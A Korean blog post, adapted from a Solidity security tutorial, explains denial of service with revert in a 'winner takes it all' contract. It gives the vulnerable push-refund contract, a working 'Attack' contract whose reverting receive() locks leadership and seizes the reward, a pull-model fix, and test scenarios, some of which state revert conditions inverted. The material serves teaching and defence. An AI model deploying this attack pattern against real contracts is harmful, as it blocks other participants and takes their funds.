Denial of Service With Revert


https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

Solidity
Typescript
Truffle ,Hardhat, Ethers.js, Web3.js
Test Script 작성 능력


Revert를 이용한 Denial of Service(서비스 거부)는 Solidity Smart Contract 작동 방식에 대한 이해 부족으로 인해 발생하는 경우가 많으며, 이로 인해 Contract가 악용될 수 있습니다.

The Dependency

아래 코드는 “InsecureWinnerTakesltAll”“FixedWinnerTakesItAll” Contract에 필요한 재진입을 막기 위한 abstract Contract 입니다.

pragma solidity 0.8.19;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

ReentrancyGuard에는 재진입 공격을 방지하는데 사용되는 noReentrant modifier가 포함되어 있습니다. noReentrant modifier는 이를 적용하는 함수에 단 한 번의 진입만 허용하는 간단한 modifier입니다.

The Vulnerability

아래 코드는 "InsecureWinnerTakesItAll” Contract입니다. 이 Contract는 누구나 claimLeader() 함수를 실행하여 챌린지 리더를 차지하기 위해 ETH를 공급하여 참여할 수 있습니다.

처음에 챌린지는 Contract Onwer가 초기 보상으로 제공한 10 ETH로 시작합니다.

도전자는 챌린지의 리더 자리를 차지하기 위해 현재 리더의 예치금보다 더 많은 ETH를 제공해야합니다.

새로운 리더가 왕좌에 오르면 이전 리더의 보증금에서 10%가 공제됩니다. 즉, 이전 리더는 출금 시 입금액의 90%만 출금하여 받게됩니다. 이때 공제된 10%의 ETH는 우승자의 보상으로 적립됩니다. 간단히 말해 도전자가 많을 수록(그리고 예치된 ETH 수량이 많을 수록) 최종 챌린지 우승자에게 더 많은 보상금이 주어지는 Contract입니다.

챌린지 기간이 끝나면 마지막 리더가 승자가됩니다.

따라서 우승자는 claimPrincipalAndReward() 함수를 호출하여 원금과 도전 보상을 받을 수 있습니다.

pragma solidity 0.8.19;

import "./Dependencies.sol";

contract InsecureWinnerTakesItAll is ReentrancyGuard {
    address public currentleader;
    uint256 public lastDepositedAmount;

    uint256 public currentLeaderReward;
    uint256 public nextLeaderReward;

    bool public rewardClaimed;
    uint256 public immutable challengeEnd;

    constructor(uint256 _challengePeriod) payable {
        require(msg.value == 10 ether, "Require an initial 10 Ethers reward");

        currentleader = address(0);
        lastDepositedAmount = msg.value;
        currentLeaderReward = 0;
        nextLeaderReward = msg.value;
        rewardClaimed = false;
        challengeEnd = block.timestamp + _challengePeriod;
    }

    function claimLeader() external payable noReentrant {
        require(block.timestamp < challengeEnd, "Challenge is finished");
        require(msg.sender != currentleader, "You are the current leader");
        require(msg.value > lastDepositedAmount, "You must pay more than the current leader");

        if (currentleader == address(0)) {  // First claimer (no need to refund the initial reward)
            // Assign the new leader
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader
        }
        else {  // Next claimers
            // Refund the previous leader with 90% of his deposit
            uint256 refundAmount = lastDepositedAmount * 9 / 10;

            // Assign the new leader
            address prevLeader = currentleader;
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader

            (bool success, ) = prevLeader.call{value: refundAmount}("");
            require(success, "Failed to send Ether");
        }
    }

    // For the winner to claim principal and reward
    function claimPrincipalAndReward() external noReentrant {
        require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
        require(msg.sender == currentleader, "You are not the winner");
        require(!rewardClaimed, "Reward was claimed");

        rewardClaimed = true;

        // Transfer principal + reward to the winner
        uint256 amount = lastDepositedAmount + currentLeaderReward;

        (bool success, ) = currentleader.call{value: amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function isChallengeEnd() external view returns (bool) {
        return block.timestamp >= challengeEnd;
    }
}

“InsecureWinnerTakesItAll” Contract에는 claimLeader() 함수의 51번째 줄에 설계 결함이 있습니다.

새로운 리더가 왕좌를 차지하면 이전 리더에게 ETH를 환불하기 위해 (bool success, ) = prevLeader.call{value: refundAmount}(””); 문이 실행됩니다. 이와 같이 이전 리더에게 환불하는 action을 "push model”이라고 부릅니다.

push model: Smart Contract에서 특정 조건이 충족될 때 사용자에게 자금을 밀어내는 방식

하지만 claimLeader() 함수에 "push model”을 사용하면 공격자가 Denial of Service 공격으로 챌린지를 악용하고 보상을 쉽게 가져갈 수 있는 여지가 생깁니다.

아래 그림은 공격자가 DoS 공격을 사용하여 리더를 영구적으로 점유하는 방법을 보여줍니다.

claimLeader() 함수의 “push model”을 사용하면 공격자는 receive() 함수를 구현하는 공격 Contract를 배포할 수 있습니다. receive() 함수는 그림에서 볼 수 있듯이 “InseucreWinnerTakesItAll” Contract로 부터 ETH를 환불을 받으면 트랜잭션을 되돌릴 것입니다.

이렇게 하면 공격자는 배포된 “Attack” Contract를 사용하여 InsecureWinnerTakesItAll.claimLeader() 함수를 실행하여 선두를 차지할 수 있습니다. 다른 도전자들이 선두를 차지하려고 하면 Attack.receive() 함수가 트랜잭션을 되돌립니다.(즉 Denial of Service.DoS 공격)

The Attack

아래 코드는 공격자가 “InsecureWinnerTakesItAll” Contract를 악용하여 챌린지 보상을 수익으로 탈취하는데 사용할 수 있는 “Attack” Contract를 보여줍니다.

pragma solidity 0.8.19;

interface IWinnerTakesItAll {
    function claimLeader() external payable;
    function claimPrincipalAndReward() external;
    function isChallengeEnd() external view returns (bool);
}

contract Attack {
    address public immutable owner;
    IWinnerTakesItAll public immutable targetContract;

    constructor(IWinnerTakesItAll _targetContract) {
        owner = msg.sender;
        targetContract = _targetContract;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    receive() external payable {
        if (!targetContract.isChallengeEnd()) {
            // Revert a transaction if the challenge does not end
            revert();
        }
        // Receive the profit if the challenge ends
    }

    function attack() external payable onlyOwner {
        targetContract.claimLeader{value: msg.value}();
    }

    function claimPrincipalAndReward() external onlyOwner {
        targetContract.claimPrincipalAndReward();

        (bool success, ) = owner.call{value: address(this).balance}("");
        require(success, "Failed to send Ether");
    }
}

공격자는 “InsecureWinnerTakesItAll” Contract를 공격하기 위해 다음과 같은 공격 단계를 수행합니다.

  1. “Attack” Contract를 배포하고 Target Contract로 “InsecureWinnerTakesItAll” Contract Address를 설정합니다.
  2. Attack.attack() 함수를 실행하고 리더를 주장하기 위해 충분한 ETH를 제공합니다.
  3. 챌린지 기간이 끝날 때까지 기다린 다음 Attack.claimPrincipalAndReward() 함수를 호출하여 원금과 챌린지 보상을 받습니다.

챌린지 기간이 종료된 직후, Attack.receive() 함수는InsecureWinnerTakesItAll Contract에서 ETH 수신을 차단합니다.

그림에서도 볼 수 있듯이 사용자#1과 사용자#2가 리더가 되기 위해 경쟁했습니다.

하지만 공격자가 레이스에 참여한 후 영구적으로 리더가되었습니다. 사용자 #1과 사용자 #2가 리더가 되려는 시도는 모두 revert된 것을 확인할 수 있습니다.

챌린지 기간이 종료되면 공격자는 원금과 챌린지 보상을 수익으로 청구할 수 있습니다.

The Solutions

아래 코드는 “InsecureWinnerTakesItAll” Contract의 수정된 버전인 “FixedWinnerTakesItAll” Contract입니다.

pragma solidity 0.8.19;

import "./Dependencies.sol";

// Preventive solution
//   -> Let users withdraw their Ethers instead of sending the Ethers to them (pull model)

contract FixedWinnerTakesItAll is ReentrancyGuard {
    address public currentleader;
    uint256 public lastDepositedAmount;

    mapping (address => uint256) public prevLeaderRefunds;  // FIX: For recording available refunds of all previous leaders

    uint256 public currentLeaderReward;
    uint256 public nextLeaderReward;

    bool public rewardClaimed;
    uint256 public immutable challengeEnd;

    constructor(uint256 _challengePeriod) payable {
        require(msg.value == 10 ether, "Require an initial 10 Ethers reward");

        currentleader = address(0);
        lastDepositedAmount = msg.value;
        currentLeaderReward = 0;
        nextLeaderReward = msg.value;
        rewardClaimed = false;
        challengeEnd = block.timestamp + _challengePeriod;
    }

    function claimLeader() external payable noReentrant {
        require(block.timestamp < challengeEnd, "Challenge is finished");
        require(msg.sender != currentleader, "You are the current leader");
        require(msg.value > lastDepositedAmount, "You must pay more than the current leader");

        if (currentleader == address(0)) {  // First claimer (no need to refund the initial reward)
            // Assign the new leader
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader
        }
        else {  // Next claimers
            // Refund the previous leader with 90% of his deposit
            uint256 refundAmount = lastDepositedAmount * 9 / 10;

            // Assign the new leader
            address prevLeader = currentleader;
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader

            // FIX: Record a refund for the previous leader
            prevLeaderRefunds[prevLeader] += refundAmount;
        }
    }

    // FIX: For previous leaders to claim their refunds
    function claimRefund() external noReentrant {
        uint256 refundAmount = prevLeaderRefunds[msg.sender];
        require(refundAmount != 0, "You have no refund");

        prevLeaderRefunds[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: refundAmount}("");
        require(success, "Failed to send Ether");
    }

    // For the winner to claim principal and reward
    function claimPrincipalAndReward() external noReentrant {
        require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
        require(msg.sender == currentleader, "You are not the winner");
        require(!rewardClaimed, "Reward was claimed");

        rewardClaimed = true;

        // Transfer principal + reward to the winner
        uint256 amount = lastDepositedAmount + currentLeaderReward;

        (bool success, ) = currentleader.call{value: amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function isChallengeEnd() external view returns (bool) {
        return block.timestamp >= challengeEnd;
    }
}

관련 문제를 해결하려면 예치된 ETH를 “push model”에서 “pull model”로 변경해서 보상하는 방식으로 재설계해야 합니다.

pull model: 자신의 자금을 직접 인출할 수 있는 방법

Contract에 있는 기존 ETH의 양 보다 더 많은 ETH를 넣게되면 바로 전에 ETH를 입금했던 사용자에게 90%의 ETH를 돌려주고 있습니다.

이때 금액을 안전하게 환불처리하기 위해 FixedWinnerTakesItAll Contract를 사용해야합니다.

수정된 내용을 보시면 환불 가능 금액을 기록하기 위해 prevLeaderRefunds mapping을 도입한 것을 확인할 수 있습니다. 새로운 리더가 생기면 claimLeader() 함수에 있는 다음과 같은 계산을 통해 ETH를 돌려주고 있습니다.

prevLeaderRefunds[prevLeader] += refundAmount;

매핑으로 관리하면 언제든지 ETH를 받는 사용자는 claimRefund 함수를 호출하여 ETH를 청구할 수 있습니다.

이처럼 pull model 방식으로 Contract를 구성하면 공격자는 더 이상 Attack contract를 이용하여 챌린지를 악용할 수 없습니다.

Test


Source code link

InsecureWinnerTakesItAll Contract

테스트 시나리오

  • constructor
    • 초기 리더는 0x00의 주소로 되어있다.
    • 초기 lastDepositedAmount는 10 ETH이다.
    • 초기 currentLeaderReward는 0 이다.
    • 초기 nextLeaderReward는 10 ETH이다.
    • 초기 Contract가 보유한 ETH는 10 ETH이다.
    • 초기 rewardClaimed는 false이다.
    • 초기 challengeEnd는 배포시 입력한 시간 + blockTimestamp이다.
    • Contract 배포 시 챌린지가 시작된다.
    • Contract 배포 시 10ETH를 입금하지 않으면 배포할 수 없다.
  • claimLeader
    • block.timestamp가 challengeEnd보다 작으면 revert한다.
    • msg.sender == currentLeader이면 revert한다.
    • currentLeader의 Address가 0이면 claimLeader 실행 시 msg.sender가 currentLeader가 된다.
    • 챌린지에 참여하기 위해서는 lastDepositedAmount보다 ETH를 더 보내야한다.
    • currentLeader가 있으면 이전 Leader가 참여한 금액의 90%만 돌려준다.
  • claimPrincipalAndReward
    • 챌린지가 끝나지 않았으면 revert한다.
    • 상금을 받으려는 Address가 currentleader이 아니었을 때 'claimPrincipalAndReward'를 실행하면 revert한다.
    • 챌린지가 끝나면 리더는 리더보상 + 리더가 보유한 금액을 받는다.
    • 보상을 두번 받으려하면 revert한다.

FixedWinnerTakesItAll Contract

테스트 시나리오

  • constructor
    • 초기 리더는 0x00의 주소로 되어 있다.
    • 초기 lastDepositedAmount는 10 ETH이다.
    • 초기 currentLeaderReward는 0이다.
    • 초기 nextLeaderReward는 10 ETH이다.
    • 초기 Contract가 보유한 ETH는 10 ETH이다.
    • 초기 rewardClaimed는 false이다.
    • 초기 challengePeriod는 배포시 입력한 시간 + blockTimestamp이다.
    • Contract 배포 시 챌린지가 시작된다.
    • Contract 배포 시 10 ETH를 입금하지 않으면 배포할 수 없다.
  • claimLeader
    • block.timestamp가 challengeEnd보다 작으면 revert한다.
    • msg.sender == currentLeader이면 revert한다.
    • currentLeader의 Address가 0x00이면 claimLeader 실행 시 msg.sender가 currentLeader가 된다.
    • 챌린지에 참여하기 위해서는 lastDepositedAmount보다 ETH를 더 보내야한다.
    • currentLeader가 있으면 이전 Leader가 참여한 금액의 90%만 돌려준다.
  • claimPrincipalAndReward
    • 챌린지가 끝나지 않았으면 revert 한다.
    • 상금을 받으려는 Address가 currentLeader가 아니면 revert 한다.
    • 챌린지가 끝나면 리더는 리더보상 + 리더가 보유한 금액을 받는다.

Attack Contract

테스트 시나리오

  • constructor
    • Attack 컨트랙트의 owner는 배포자이다.
    • Attack 컨트랙트의 InsecureWinnerTakesItAll 컨트랙트 주소는 배포한 컨트랙트 주소이다.
  • attack
    • owner가 아니면 attack 함수는 호출할 수 없다.
    • 사전 작업 - First User와 Second User가 경쟁적으로 InseceureWinnerTakesItAll 컨트랙트에 ETH를 보낸다. (38ms)
    • attack 함수를 호출하여 InsecureWinnerTakesItAll 컨트랙트의 claimLeader()의 기능을 사용하지 못하도록할 수 있다.
  • attack failed
    • 사전 작업 - First User와 Second User가 경쟁적으로 FixedWinnerTakesItAll 컨트랙트에 ETH를 보낸다.
    • attack 함수를 호출하여 FixedWinnerTakesItAll 컨트랙트의 claimLeader()의 기능을 사용하지 못하도록할 수 없다.

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글